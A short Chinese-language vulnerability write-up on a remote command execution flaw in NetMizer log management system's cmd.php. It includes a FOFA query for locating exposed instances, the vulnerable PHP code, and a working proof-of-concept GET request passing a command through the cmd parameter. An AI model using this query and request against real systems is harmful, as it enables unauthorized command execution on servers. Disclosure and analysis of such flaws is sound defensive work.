漏洞简介
NetMizer日志管理系统是全球领先的应用交付与安全解决方案提供商,致力于为企业和运营商提供确保关键业务应用高可用性、高性能和安全性的解决方案。在其cmd.php中存在远程命令执行漏洞,攻击者通过传递 cmd 参数可执行任意命令,从而对系统造成潜在威胁。
影响版本
fofa语法
title="NetMizer 日志管理系统"
漏洞分析
<?php
include('../include/JSON.php');
$ip = $_SERVER["REMOTE_ADDR"];
$port = $_SERVER["REMOTE_PORT"];
echo "sh test.sh $ip $port<br>";
ob_flush();
flush();
exec("sh test.sh $ip $port &> /dev/null &");
if($type == 1) $cmd = "ping 8.8.8.8";
else if($type == 2) $cmd = "vmstat -w 1";
ob_implicit_flush();
$fp = popen($cmd, "r");
if($fp) {
echo "<pre>";
ob_flush();
flush();
while($line=fgets($fp, 2048)) {
echo $line;
ob_flush();
flush();
}
sleep(1);
pclose($fp);
}
?>
如果 type 不等于 1 或 2 就直接将 cmd 参数的值传入 popen 函数进行执行并回显命令执行结果,造成命令执行漏洞。
漏洞复现
GET /data/manage/cmd.php?cmd=id HTTP/1.1
Host: test.mrxn.net
成功回显id命令执行的结果


